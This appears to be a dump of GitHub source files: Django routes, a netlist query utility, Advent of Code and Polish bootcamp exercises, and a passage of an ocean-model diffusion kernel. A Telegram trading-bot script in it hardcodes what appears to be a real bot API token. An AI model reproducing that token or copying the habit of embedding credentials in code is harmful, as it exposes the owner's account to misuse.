+{"seq_id":"16409842614","text":"from django.urls import path\nfrom toxsign.jobs import views\n\n\napp_name = 'jobs'\n# Define urls here\nurlpatterns = [\n    # ex: /jobs/\n    path('running_jobs/', views.running_jobs_view, name='running_jobs'),\n    path('partial_running_jobs/', views.partial_running_jobs_view, name='partial_running_jobs'),\n    path('delete_job/<int:pk>', views.Delete_job, name='delete_job'),\n    # ex: /jobs/5/\n    # the 'name' value as called by the {% url %} template tag\n    path('<int:pk>/result', views.DetailView, name='results'),\n    path('<int:pk>/result/<str:file_name>', views.DownloadView, name='results_download'),\n]\n","repo_name":"umr1085-irset/toxsign_v2","sub_path":"toxsign/jobs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19265568057","text":"from spydrnet.ir import (\n    Element,\n    FirstClassElement,\n    InnerPin,\n    OuterPin,\n    Wire,\n    Netlist,\n    Library,\n    Definition,\n    Port,\n    Cable,\n    Instance,\n)\nfrom spydrnet.util.hierarchical_reference import HRef\nfrom spydrnet.util.patterns import _is_pattern_absolute, _value_matches_pattern\n\n\ndef get_netlists(obj, *args, **kwargs):\n    \"\"\"\n    get_netlists(obj, ...)\n\n    Get netlists *within* an object.\n\n    Parameters\n    ----------\n    obj : object, Iterable - required\n\t\tThe object or objects associated with this query. Queries return a collection objects\n\t\tassociated with the provided object or objects that match the query criteria. For example,\n\t\t`sdn.get_libraries(netlist, ...)` would return all of the libraries associated with the\n\t\tprovided netlist that match the additional criteria.\n    patterns : str, Iterable - optional, positional or named, (default: wildcard)\n\t\tThe search patterns. Patterns can be a single string or an Iterable collection of strings.\n\t\tPatterns can be absolute or they can contain wildcards or regular expressions. If\n\t\t`patterns` is not provided, then it defaults to a wildcard. Patterns are queried against\n\t\tthe object property value stored under a specified key. Fast lookups are only attempted on\n\t\tabsolute patterns that are not regular expressions and contain no wildcards.\n    key : str, optional, (default: \".NAME\")\n\t\tThis is the key that controls which value is being searched.\n    is_case : bool - optional, named, (default: True)\n\t\tSpecify if patterns should be treated as case sensitive. Only applies to patterns. Does not\n\t\talter fast lookup behavior (if namespace policy uses case insensitive indexing, this\n\t\tparameter will not prevent a fast lookup from returning a matching object even if the case\n\t\tis not an exact match).\n    is_re: bool - optional, named, (default: False)\n\t\tSpecify if patterns are regular expressions. If `False`, a pattern can still contain `*`\n\t\tand `?` wildcards. A `*` matches zero or more characters. A `?` matches upto a single\n\t\tcharacter.\n    filter : function\n\t\tThis is a single input function that can be used to filter out unwanted virtual instances.\n\t\tIf not specifed, all matching virtual instances are returned. Otherwise, virtual instances\n\t\tthat cause the filter function to evaluate to true are the only items returned.\n\n    Returns\n    -------\n    netlists : generator\n\t\tA generator associated with a particular object\n\n    \"\"\"\n    # Check argument list\n    if len(args) == 1 and \"patterns\" in kwargs:\n        raise TypeError(\"get_netlists() got multiple values for argument 'patterns'\")\n    if len(args) > 1 or any(\n        x not in {\"patterns\", \"key\", \"filter\", \"is_case\", \"is_re\"} for x in kwargs\n    ):\n        raise TypeError(\"Unknown usage. Please see help for more information.\")\n\n    # Default values\n    filter_func = kwargs.get(\"filter\", lambda x: True)\n    is_case = kwargs.get(\"is_case\", True)\n    is_re = kwargs.get(\"is_re\", False)\n    patterns = (\n        args[0] if len(args) == 1 else kwargs.get(\"patterns\", \".*\" if is_re else \"*\")\n    )\n    key = kwargs.get(\"key\", \".NAME\")\n\n    if isinstance(obj, (FirstClassElement, InnerPin, OuterPin, Wire)) is False:\n        try:\n            object_collection = list(iter(obj))\n        except TypeError:\n            object_collection = [obj]\n    else:\n        object_collection = [obj]\n    if all(isinstance(x, (Element, HRef)) for x in object_collection) is False:\n        raise TypeError(\n            \"get_netlists() supports netlist elements and hierarchical references or a collection \\\n            of these as the object searched, unsupported object provided\"\n        )\n\n    if isinstance(patterns, str):\n        patterns = (patterns,)\n\n    return _get_netlists(object_collection, patterns, key, is_case, is_re, filter_func)\n\n\ndef _get_netlists(object_collection, patterns, key, is_case, is_re, filter_func):\n    for result in filter(\n        filter_func, _get_netlists_raw(object_collection, patterns, key, is_case, is_re)\n    ):\n        yield result\n\n\ndef _get_netlists_raw(object_collection, patterns, key, is_case, is_re):\n    found = set()\n    namemap = {}\n    while object_collection:\n        obj = object_collection.pop()\n        if isinstance(obj, Netlist):\n            if obj not in found:\n                found.add(obj)\n                name = obj.get(key, None)\n                if name not in namemap:\n                    namemap[name] = []\n                namemap[name].append(obj)\n        elif isinstance(obj, Library):\n            netlist = obj.netlist\n            if netlist:\n                object_collection.append(netlist)\n        elif isinstance(obj, Definition):\n            library = obj.library\n            if library:\n                object_collection.append(library)\n        elif isinstance(obj, Instance):\n            reference = obj.reference\n            if reference:\n                object_collection.append(reference)\n        elif isinstance(obj, Port):\n            definition = obj.definition\n            if definition:\n                object_collection.append(definition)\n        elif isinstance(obj, InnerPin):\n            port = obj.port\n            if port:\n                object_collection.append(port)\n        elif isinstance(obj, OuterPin):\n            inner_pin = obj.inner_pin\n            if inner_pin:\n                object_collection.append(inner_pin)\n        elif isinstance(obj, Cable):\n            definition = obj.definition\n            if definition:\n                object_collection.append(definition)\n        elif isinstance(obj, Wire):\n            cable = obj.cable\n            if cable:\n                object_collection.append(cable)\n        elif isinstance(obj, HRef):\n            if obj.is_valid:\n                item = obj.item\n                if item:\n                    object_collection.append(item)\n\n    for pattern in patterns:\n        pattern_is_absolute = _is_pattern_absolute(pattern, is_case, is_re)\n        if pattern_is_absolute:\n            if pattern in namemap:\n                result = namemap[pattern]\n                for netlist in result:\n                    if netlist in found:\n                        found.remove(netlist)\n                        yield netlist\n        else:\n            yielded = set()\n            for netlist in found:\n                value = netlist[key] if key in netlist else \"\"\n                if _value_matches_pattern(value, pattern, is_case, is_re):\n                    yielded.add(netlist)\n                    yield netlist\n            found -= yielded\n","repo_name":"byuccl/spydrnet","sub_path":"spydrnet/util/get_netlists.py","file_name":"get_netlists.py","file_ext":"py","file_size_in_byte":6538,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"3"}
+{"seq_id":"1489025862","text":"from telegram import Update\nfrom telegram.ext import ApplicationBuilder, ContextTypes, CommandHandler \n#pip install python-telegram-bot -U --pre\nimport json\nfrom datetime import datetime as dt, timedelta\nimport sys\nimport pandas as pd\nimport time\nimport os\n\nasync def Start(update: Update, context: ContextTypes.DEFAULT_TYPE):\n    await context.bot.send_message(chat_id=update.effective_chat.id, text=\"\"\"\\\n        Actions:\n        \\n/CloseTrade: Select the trades from list to close.\n        \\n/FetchMTM: Fetch strategy MTM.\n        \"\"\")\n    #create async def of FetchMTM in the same way of CloseTrade\n\nasync def CloseTrade(update: Update, context: ContextTypes.DEFAULT_TYPE):\n    await context.bot.send_message(chat_id=update.effective_chat.id, text=\"Some Text like /CloseTrade1\\n\\n/CloseTrade2\")\n    #CloseTrade1 and 2 are below\n\nasync def CloseTrade1(update: Update, context: ContextTypes.DEFAULT_TYPE):\n    #Call the python code here which closes the trade\n    await context.bot.send_message(chat_id=update.effective_chat.id, text=\"Trad 1 closed Successfully.\\n\\n/start\")\n\nasync def CloseTrade2(update: Update, context: ContextTypes.DEFAULT_TYPE):\n    #Call the python code here which closes the trade\n    await context.bot.send_message(chat_id=update.effective_chat.id, text=\"Trad 1 closed Successfully.\\n\\n/start\")\n\nif __name__ == '__main__':\n    application = ApplicationBuilder().token('5815892603:AAH8wLQ48y8qasdasdfYUYNQPwCnrFNfFp3E').build() #Bot Token\n    start_handler = CommandHandler('Start', Start)\n    application.add_handler(start_handler)\n    start_handler = CommandHandler('CloseTrade', CloseTrade)\n    application.add_handler(start_handler)\n    start_handler = CommandHandler('CloseTrade1', CloseTrade1)\n    application.add_handler(start_handler)\n    start_handler = CommandHandler('CloseTrade2', CloseTrade2)\n    application.add_handler(start_handler)\n    application.run_polling()\n","repo_name":"USS920/telegram-bot-for-trading","sub_path":"telegrambot.py","file_name":"telegrambot.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"36318535233","text":"from collections import defaultdict\n\nwith open(\"day_3_in.txt\", \"r\") as f:\n    content = [line.strip() for line in f.readlines()]\n\n# PART ONE\n\n# counting 1 on possition 1-12\nnumbers = defaultdict(int)\nfor line in content:\n    for i, j in enumerate(line):\n        numbers[i] += int(j)\n\n\n# constructing gamma/epsilon numbers\ngamma = []\nepsilon = []\nfor number in numbers.values():\n    if number > len(content) / 2:\n        gamma.append(\"1\")\n        epsilon.append(\"0\")\n    else:\n        gamma.append(\"0\")\n        epsilon.append(\"1\")\n\nprint(int(\"\".join(gamma), 2) * int(\"\".join(epsilon), 2))\n\n\n# PART TWO\n\n\ndef filter_most_common(max_content=None):\n    if max_content is None:\n        max_content = content\n    for possition in range(len(content[0])):\n        ones = 0\n        zeroes = 0\n        for line in max_content:\n            if line[possition] == \"1\":\n                ones += 1\n            else:\n                zeroes += 1\n        if ones < zeroes:\n            maximal = \"0\"\n        else:\n            maximal = \"1\"\n        max_content = [line for line in max_content if line[possition] == maximal]\n        if len(max_content) == 1:\n            return max_content[0]\n\n\ndef filter_least_common(min_content=None):\n    if min_content is None:\n        min_content = content\n    for possition in range(len(content[0])):\n        ones = 0\n        zeroes = 0\n        for line in min_content:\n            if line[possition] == \"1\":\n                ones += 1\n            else:\n                zeroes += 1\n        if ones < zeroes:\n            minimal = \"1\"\n        else:\n            minimal = \"0\"\n        min_content = [line for line in min_content if line[possition] == minimal]\n        if len(min_content) == 1:\n            return min_content[0]\n\n\noxygen = filter_most_common()\nco2 = filter_least_common()\nprint(int(oxygen, 2) * int(co2, 2))\n","repo_name":"mantomas/ac2021","sub_path":"day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22110654627","text":"def game(n):\n    assert type(n) is int\n    assert n > 0\n\n    i = 0\n    c_prev = n\n    while n > 0:\n        user_number = i%2 + 1\n        print(f'Uzytkownik nr: {user_number}')\n\n        c = int(input('Podaj liczbę cukierków: '))\n\n        if c > n or c <= 0:\n            print('Podałeś złą liczbę cukierków. Podaj właściwą liczbę cukierków.')\n            continue\n        elif c > c_prev:\n            print('Nie możesz wziąć więcej cukierków niż poprzedni gracz')\n            print(f'Poprzedni gracz wziął {c_prev} cukierków')\n            continue\n\n        n -= c\n        i += 1\n        c_prev = c\n        print(f'Zostało {n} cukierków')\n    print('Koniec gry!')\n    print(f'Wygrywa gracz nr {user_number}')\n\n# game(1000)\n#\n# for i in range(5):\n#     x = 10*i + i//5\n#     print(x)\n# else:\n#     print('koniec')\n#\n# for i in range(5):\n#     x = 10*i + i//5\n#     if x > 20:\n#         break\n#     print(x)\n# else:\n#     print('koniec')\n#\n#\n# # Stwórz listę liczb parzystych od 0 do 100,\n# # wyszukaj w tej liście liczby podzielne zarówno przez 2 jak i 3\n# # i każdą z takich liczb powiększ 100 razy, a zmodyfikowane liczby\n# # umieść w liście w miejsce poprzednich\n# # [0, 2, 4, 600, 8, ..]\n#\n# # sposob 1\n# l = list(range(0, 101, 2))\n# for i in range(len(l)):\n#     if l[i] % 3 == 0:\n#         l[i] *= 100\n#\n# print(l)\n#\n# # sposob 2\n# l = list(range(0, 101, 2))\n# for idx, el in enumerate(l):\n#     if el % 3 == 0:\n#         l[idx] *= 100\n# print(l)\n#\n# # sposob 3\n# lista = []\n# for i in range(0,100,2):\n#     if i%3==0:\n#         z=i*100\n#         lista.append(z)\n#     else:\n#         lista.append(i)\n# print(lista)\n#\n# # sposob 4\n# print('Nowy sposob')\n# print([i*100 if i%3==0 else i for i in range(0, 100, 2)])\n#\n#\n# s = 'Python jest moim ulubionym językiem programowania'\n# s_list = s.split(' ')\n#\n# res = []\n# for i in s_list:\n#     i_len = len(i)\n#     res.append(i_len)\n#\n# print(s_list)\n# print(res)\n#\n# print([len(i) for i in s_list])\n#\n# print({len(i) for i in s_list})\n#\n# print([(i, len(i)) for i in s_list])\n#\n# print({i : len(i) for i in s_list})\n#\n# DATA = [\n#     ('Sepal length', 'Sepal width', 'Petal length', 'Petal width', 'Species'),\n#     (5.8, 2.7, 5.1, 1.9, 'virginica'),\n#     (5.1, 3.5, 1.4, 0.2, 'setosa'),\n#     (5.7, 2.8, 4.1, 1.3, 'versicolor'),\n#     (6.3, 2.9, 5.6, 1.8, 'virginica'),\n#     (6.4, 3.2, 4.5, 1.5, 'versicolor'),\n#     (4.7, 3.2, 1.3, 0.2, 'setosa'),\n#     (7.0, 3.2, 4.7, 1.4, 'versicolor')]\n#\n# # for i in DATA:\n# #     print(i[0])\n#\n# print({i[4] for i in DATA[1:]})\n# print(max([i[2] for i in DATA[1:]]))\n#\n# s = 'Python jest moim ulubionym językiem programowania'\n# s_list = s.split(' ')\n#\n# res = []\n# for i in s_list:\n#     i_len = len(i)\n#     if i_len > 6:\n#         res.append(i_len)\n#\n# print(s_list)\n# print(res)\n#\n# print([len(i) for i in s_list if len(i)>6])\n# print([[i, len(i)] for i in s_list if len(i)>6])\n# print({i : len(i) for i in s_list if len(i)>6})\n#\n# print(min([i[2] for i in DATA[1:] if i[-1] == 'setosa']))\n#\n# print([f'{i} parzysta' if i%2==0 else f'{i} nieparzysta' for i in range(10)])\n#\n# print((len(i) for i in s_list))\n#\n# gen = (len(i) for i in s_list)\n# #print([i for i in gen])\n#\n# print(next(gen))\n# print(next(gen))\n#\n# print(tuple(len(i) for i in s_list))\n# print(list(len(i) for i in s_list))\n#\n#\n# print(any([True, False, True, True, True]))\n# print(all([True, False, True, True, True]))\n#\n# print(any([i%5==0 for i in range(11)]))\n#\n# ####### FUNKCJE ######\n#\n# def l_stats(l):\n#     l_max = max(l)\n#     l_min = min(l)\n#     l_len = len(l)\n#     l_mean = sum(l)/l_len\n#     return (l_max, l_min, l_len, l_mean)\n#\n# print(l_stats([-2, 3, 5, 7]))\n#\n# a, b, c, d = l_stats([-2, 3, 5, 7])\n# print(a, b, c, d)\n#\n# a, b, c, _ = l_stats([-2, 3, 5, 7])\n#\n# l = [[1, 3, 'x'],\n#      [2, 4, 'x'],\n#      [1, 5, 'x']]\n# for el1, el2, el3 in l:\n#     print(el1, el2, el3)\n#\n# l = [[1, 3, 'x'],\n#      [2, 4, 'x'],\n#      [1, 5, 'x']]\n# for el1, el2, _ in l:\n#     print(el1, el2, el3)\n#\n# a, b, _, _ = l_stats([-2, 3, 5, 7])\n# print(a, b)\n#\n# a, b, *c = [1, 5, 5, 6, 7, 7, 3, 7]\n# print(a, b, c)\n#\n# *a, b = [1, 5, 5, 6, 7, 7, 3, 7]\n# print(a, b)\n#\n# a, *b, c = [1, 5, 5, 6, 7, 7, 3, 7]\n# print(a, b, c)\n#\n# # a, *b, c = [1]\n# # print(a, b, c)\n#\n# a, *b, c = [1, 2]\n# print(a, b, c)\n#\n# a, *_, c = [1, 5, 5, 6, 7, 7, 3, 7]\n# print(a, c)\n#\n# def list_mult(l, m):\n#     return l*m\n#\n# print(list_mult([1, 2, 3], 5))\n#\n# # list_mult([1, 3, 4], 8, 6)\n#\n# def list_mult(l, m=3):\n#     return l*m\n#\n# print(list_mult([1, 2, 3], 5))\n# print(list_mult([1, 2, 3]))\n#\n# # def list_mult(m, l=[1, 3], r):\n# #     return l*m*r\n#\n# def shopping_list(*args):\n#     for a in args:\n#         print(a)\n#\n# shopping_list('mleko', 'chleb')\n# shopping_list()\n#\n# def shopping_list(d, *args):\n#     print(d)\n#     for a in args:\n#         print(a)\n#\n# shopping_list('wtorek', 'mleko', 'chleb')\n# shopping_list('wtorek')\n#\n#\n# def norm(p, *args):\n#     res = 0\n#     for i in args:\n#         res += pow(abs(i), p)\n#     return pow(res, 1/p)\n# print(norm(2, 1, 3, 4, 5))\n#\n#\n# def list_mult(l, m):\n#     return l*m\n#\n# print(list_mult(m=3, l=[1, 3, 4]))\n#\n#\n# def trip(**kwargs):\n#     for k, v in kwargs.items():\n#         print(f'{k} ma {v} lat')\n#\n# trip(ala=5, kasia=3)\n#\n# def trip(x, **kwargs):\n#     print(x)\n#     for k, v in kwargs.items():\n#         print(f'{k} ma {v} lat')\n#\n# trip('wycieczka', ala=5, kasia=3)\n#\n# def shopping_cost(**kwargs):\n#     print(kwargs.keys())\n#     return sum(kwargs.values())\n#\n# print(shopping_cost(p1=30, p2=4, p3=5))\n#\n# l123 = 10\n#\n# def f(n):\n#     x123 = 2*n*l123\n#     return x123\n#\n# print(f(4))\n#\n# def f(n):\n#     global l123\n#     l123 = 100\n#     x123 = 2*n*l123\n#     return x123\n#\n# print(f(4))\n# print(l123)\n#\n# def square(x):\n#     return x ** 2\n#\n# print(square(5))\n#\n# res = map(square, [1, 2, 3])\n# print(list(res))\n#\n# # lambda x: x+1\n# # lambda x, y: x+y\n#\n# def f(x):\n#     return x+1\n#\n# def f1(x, y):\n#     return x+y\n#\n# # f = lambda x: (14*x-6)**2\n#\n# res = map(lambda x: (14*x-6)**2, [1, 2, 3])\n# print(list(res))\n#\n# # Wykorzystując funkcje lambda oblicz ile liczb od 1 do 100 jest podzielnych przez 2\n#\n# print(sum(list(map(lambda x: x%2 == 0, list(range(1, 101))))))\n#\n# # 3! = 3*2*1 = 3 * 2!\n#\n# def f(n):\n#     res = 1\n#     for m in list(range(2, n+1)):\n#         res *= m\n#     return res\n#\n# print(f(3))\n#\n# def f1(n):\n#     if n == 0: return 1\n#     else: return n*f1(n-1)\n#\n# print(f1(3))\n#\n# # a_0 = 0\n# # a_1 = 1\n# # a_n = a_(n-1) + a_(n-2)\n#\n# def fib(n):\n#     if n <= 1:\n#         return n\n#     else:\n#         return fib(n-1) + fib(n-2)\n#\n# print(fib(13))\n\n\n\n# raise RuntimeError('błąd!')\n\nt = -10\n\n# if t >= 0:\n#     print('temperatura jest ok')\n# else:\n#     raise ValueError\n\ndef check(t):\n    if type(t) not in {float, int}:\n        raise TypeError('Temperatura musi być liczbą')\n    if t < 0:\n        raise ValueError('Temperatura w K nie może być ujemna')\n    return t\n\n# check('-10')\n\ndef check(a):\n    if not isinstance(a, int):\n        raise TypeError('Wiek musi być liczbą całkowitą')\n    if a < 0:\n        raise ValueError('Wiek nie może być ujemny')\n    return t\n\n# check('a')\n\n# name = 'Jonh'\n# name.append('xxx')\n#\n# l = [1, 2, 3]\n# l[100]\n\n# open(r'C:\\\\folder1\\\\folder1\\\\plik.txt') <- scieżka bezwzględna\n# open('plik.txt') # <- scieżka względna\n\n# import detectron2\n#\n# d = {1: 'a', 2: 'b'}\n# d[5]\n#\n# print(xxxxxxxxx)\n#\n# if x==1\n#     print('')\n#\n# 3 + 'c'\n#\n# a, b, c = [1, 2]\n\na = 1\nb = 0\n\n# try:\n#     a/b\n# except ZeroDivisionError:\n#     print('nie mozna dzielic przez 0!')\n#\n# try:\n#     a/b\n# except ZeroDivisionError as error:\n#     print('nie mozna dzielic przez 0!')\n#     print(error)\n#\n#\ndef connect():\n    raise ConnectionError('Nie można się połączyć z bazą danych')\n\ntry:\n    connect()\nexcept ConnectionRefusedError:\n    print('Connection Refused')\nexcept ConnectionResetError:\n    print('Connection Reset')\nexcept ConnectionError:\n    print('blad')\n#\n# def connect():\n#     #pass\n#     raise ConnectionError('Nie można się połączyć z bazą danych')\n#\n# try:\n#     connect()\n# except (ConnectionRefusedError, ConnectionResetError):\n#     print('Connection Refused')\n# except ConnectionError:\n#     print('blad')\n# else:\n#     print('połaczenie udane')\n# finally:\n#     print('połączenie zamknięte')\n#\n# try:\n#     l[10000]\n# except:\n#     print('jakis blad')\n#\n# try:\n#     l[10000]\n# except Exception as e:\n#     print('jakis blad')\n#     print(e)\n#\n# # try:\n# #     l[10000]\n# # except ConnectionRefusedError:\n# #     print('jakis blad')\n# #     print(e)\n#\n#\n# def convert(d):\n#     try:\n#         d_conv = int(d)\n#     except ValueError:\n#         print('niepoprawna wartość')\n#         d_conv = None\n#     except TypeError:\n#         print('niepoprawny typ')\n#         d_conv = None\n#     finally:\n#         print(d)\n#     return d_conv\n#\n# convert(print)\n#\n# l = [1, 2, 3]\n# # assert 5 in l, '5 musi być w liście'\n# assert type(l) is list\n# assert all(type(i) is int for i in l)\n#\n# l = [42, 50, 45, 10, 100]\n# for i in l:\n#     assert i <= 50, 'Przekroczenie predkosci'\n#     print(f'{i} jest OK')\n","repo_name":"joczarnocka/bootcamp","sub_path":"day_2.py","file_name":"day_2.py","file_ext":"py","file_size_in_byte":9151,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22672757032","text":"from veros.core.operators import numpy as npx\nfrom veros import logger\n\nfrom veros import veros_kernel, veros_routine, KernelOutput\nfrom veros.variables import allocate\nfrom veros.core import density, utilities\nfrom veros.core.operators import update, update_add, at\n\n\n@veros_kernel\ndef dm_taper(sx, iso_slopec, iso_dslope):\n    \"\"\"\n    tapering function for isopycnal slopes\n    \"\"\"\n    return 0.5 * (1.0 + npx.tanh((-npx.abs(sx) + iso_slopec) / iso_dslope))\n\n\n@veros_kernel\ndef isoneutral_diffusion_pre(state):\n    \"\"\"\n    Isopycnal diffusion for tracer\n    following functional formulation by Griffies et al\n    Code adopted from MOM2.1\n    \"\"\"\n    vs = state.variables\n    settings = state.settings\n\n    epsln = 1e-20\n\n    dTdx = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n    dSdx = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n    dTdy = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n    dSdy = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n    dTdz = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n    dSdz = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n\n    \"\"\"\n    drho_dt and drho_ds at centers of T cells\n    \"\"\"\n    drdT = vs.maskT * density.get_drhodT(state, vs.salt[:, :, :, vs.tau], vs.temp[:, :, :, vs.tau], npx.abs(vs.zt))\n    drdS = vs.maskT * density.get_drhodS(state, vs.salt[:, :, :, vs.tau], vs.temp[:, :, :, vs.tau], npx.abs(vs.zt))\n\n    \"\"\"\n    gradients at top face of T cells\n    \"\"\"\n    dTdz = update(\n        dTdz,\n        at[:, :, :-1],\n        vs.maskW[:, :, :-1]\n        * (vs.temp[:, :, 1:, vs.tau] - vs.temp[:, :, :-1, vs.tau])\n        / vs.dzw[npx.newaxis, npx.newaxis, :-1],\n    )\n    dSdz = update(\n        dSdz,\n        at[:, :, :-1],\n        vs.maskW[:, :, :-1]\n        * (vs.salt[:, :, 1:, vs.tau] - vs.salt[:, :, :-1, vs.tau])\n        / vs.dzw[npx.newaxis, npx.newaxis, :-1],\n    )\n\n    \"\"\"\n    gradients at eastern face of T cells\n    \"\"\"\n    dTdx = update(\n        dTdx,\n        at[:-1, :, :],\n        vs.maskU[:-1, :, :]\n        * (vs.temp[1:, :, :, vs.tau] - vs.temp[:-1, :, :, vs.tau])\n        / (vs.dxu[:-1, npx.newaxis, npx.newaxis] * vs.cost[npx.newaxis, :, npx.newaxis]),\n    )\n    dSdx = update(\n        dSdx,\n        at[:-1, :, :],\n        vs.maskU[:-1, :, :]\n        * (vs.salt[1:, :, :, vs.tau] - vs.salt[:-1, :, :, vs.tau])\n        / (vs.dxu[:-1, npx.newaxis, npx.newaxis] * vs.cost[npx.newaxis, :, npx.newaxis]),\n    )\n\n    \"\"\"\n    gradients at northern face of T cells\n    \"\"\"\n    dTdy = update(\n        dTdy,\n        at[:, :-1, :],\n        vs.maskV[:, :-1, :]\n        * (vs.temp[:, 1:, :, vs.tau] - vs.temp[:, :-1, :, vs.tau])\n        / vs.dyu[npx.newaxis, :-1, npx.newaxis],\n    )\n    dSdy = update(\n        dSdy,\n        at[:, :-1, :],\n        vs.maskV[:, :-1, :]\n        * (vs.salt[:, 1:, :, vs.tau] - vs.salt[:, :-1, :, vs.tau])\n        / vs.dyu[npx.newaxis, :-1, npx.newaxis],\n    )\n\n    \"\"\"\n    Compute Ai_ez and K11 on center of east face of T cell.\n    \"\"\"\n    diffloc = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))\n    diffloc = update(\n        diffloc,\n        at[1:-2, 2:-2, 1:],\n        0.25\n        * (vs.K_iso[1:-2, 2:-2, 1:] + vs.K_iso[1:-2, 2:-2, :-1] + vs.K_iso[2:-1, 2:-2, 1:] + vs.K_iso[2:-1, 2:-2, :-1]),\n    )\n    diffloc = update(diffloc, at[1:-2, 2:-2, 0], 0.5 * (vs.K_iso[1:-2, 2:-2, 0] + vs.K_iso[2:-1, 2:-2, 0]))\n\n    sumz = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))[1:-2, 2:-2]\n    for kr in range(2):\n        ki = 0 if kr == 1 else 1\n        for ip in range(2):\n            drodxe = (\n                drdT[1 + ip : -2 + ip, 2:-2, ki:] * dTdx[1:-2, 2:-2, ki:]\n                + drdS[1 + ip : -2 + ip, 2:-2, ki:] * dSdx[1:-2, 2:-2, ki:]\n            )\n            drodze = (\n                drdT[1 + ip : -2 + ip, 2:-2, ki:] * dTdz[1 + ip : -2 + ip, 2:-2, : -1 + kr or None]\n                + drdS[1 + ip : -2 + ip, 2:-2, ki:] * dSdz[1 + ip : -2 + ip, 2:-2, : -1 + kr or None]\n            )\n            sxe = -drodxe / (npx.minimum(0.0, drodze) - epsln)\n            taper = dm_taper(sxe, settings.iso_slopec, settings.iso_dslope)\n            sumz = update_add(\n                sumz,\n                at[:, :, ki:],\n                vs.dzw[npx.newaxis, npx.newaxis, : -1 + kr or None]\n                * vs.maskU[1:-2, 2:-2, ki:]\n                * npx.maximum(settings.K_iso_steep, diffloc[1:-2, 2:-2, ki:] * taper),\n            )\n            vs.Ai_ez = update(vs.Ai_ez, at[1:-2, 2:-2, ki:, ip, kr], taper * sxe * vs.maskU[1:-2, 2:-2, ki:])\n\n    vs.K_11 = update(vs.K_11, at[1:-2, 2:-2, :], sumz / (4.0 * vs.dzt[npx.newaxis, npx.newaxis, :]))\n\n    \"\"\"\n    Compute Ai_nz and K_22 on center of north face of T cell.\n    \"\"\"\n    diffloc = update(diffloc, at[...], 0)\n    diffloc = update(\n        diffloc,\n        at[2:-2, 1:-2, 1:],\n        0.25\n        * (vs.K_iso[2:-2, 1:-2, 1:] + vs.K_iso[2:-2, 1:-2, :-1] + vs.K_iso[2:-2, 2:-1, 1:] + vs.K_iso[2:-2, 2:-1, :-1]),\n    )\n    diffloc = update(diffloc, at[2:-2, 1:-2, 0], 0.5 * (vs.K_iso[2:-2, 1:-2, 0] + vs.K_iso[2:-2, 2:-1, 0]))\n\n    sumz = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))[2:-2, 1:-2]\n    for kr in range(2):\n        ki = 0 if kr == 1 else 1\n        for jp in range(2):\n            drodyn = (\n                drdT[2:-2, 1 + jp : -2 + jp, ki:] * dTdy[2:-2, 1:-2, ki:]\n                + drdS[2:-2, 1 + jp : -2 + jp, ki:] * dSdy[2:-2, 1:-2, ki:]\n            )\n            drodzn = (\n                drdT[2:-2, 1 + jp : -2 + jp, ki:] * dTdz[2:-2, 1 + jp : -2 + jp, : -1 + kr or None]\n                + drdS[2:-2, 1 + jp : -2 + jp, ki:] * dSdz[2:-2, 1 + jp : -2 + jp, : -1 + kr or None]\n            )\n            syn = -drodyn / (npx.minimum(0.0, drodzn) - epsln)\n            taper = dm_taper(syn, settings.iso_slopec, settings.iso_dslope)\n            sumz = update_add(\n                sumz,\n                at[:, :, ki:],\n                vs.dzw[npx.newaxis, npx.newaxis, : -1 + kr or None]\n                * vs.maskV[2:-2, 1:-2, ki:]\n                * npx.maximum(settings.K_iso_steep, diffloc[2:-2, 1:-2, ki:] * taper),\n            )\n            vs.Ai_nz = update(vs.Ai_nz, at[2:-2, 1:-2, ki:, jp, kr], taper * syn * vs.maskV[2:-2, 1:-2, ki:])\n    vs.K_22 = update(vs.K_22, at[2:-2, 1:-2, :], sumz / (4.0 * vs.dzt[npx.newaxis, npx.newaxis, :]))\n\n    \"\"\"\n    compute Ai_bx, Ai_by and K33 on top face of T cell.\n    \"\"\"\n    sumx = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))[2:-2, 2:-2, :-1]\n    sumy = allocate(state.dimensions, (\"xt\", \"yt\", \"zt\"))[2:-2, 2:-2, :-1]\n\n    for kr in range(2):\n        drodzb = (\n            drdT[2:-2, 2:-2, kr : -1 + kr or None] * dTdz[2:-2, 2:-2, :-1]\n            + drdS[2:-2, 2:-2, kr : -1 + kr or None] * dSdz[2:-2, 2:-2, :-1]\n        )\n\n        # eastward slopes at the top of T cells\n        for ip in range(2):\n            drodxb = (\n                drdT[2:-2, 2:-2, kr : -1 + kr or None] * dTdx[1 + ip : -3 + ip, 2:-2, kr : -1 + kr or None]\n                + drdS[2:-2, 2:-2, kr : -1 + kr or None] * dSdx[1 + ip : -3 + ip, 2:-2, kr : -1 + kr or None]\n            )\n            sxb = -drodxb / (npx.minimum(0.0, drodzb) - epsln)\n            taper = dm_taper(sxb, settings.iso_slopec, settings.iso_dslope)\n            sumx = (\n                sumx\n                + vs.dxu[1 + ip : -3 + ip, npx.newaxis, npx.newaxis]\n                * vs.K_iso[2:-2, 2:-2, :-1]\n                * taper\n                * sxb**2\n                * vs.maskW[2:-2, 2:-2, :-1]\n            )\n            vs.Ai_bx = update(vs.Ai_bx, at[2:-2, 2:-2, :-1, ip, kr], taper * sxb * vs.maskW[2:-2, 2:-2, :-1])\n\n        # northward slopes at the top of T cells\n        for jp in range(2):\n            facty = vs.cosu[1 + jp : -3 + jp] * 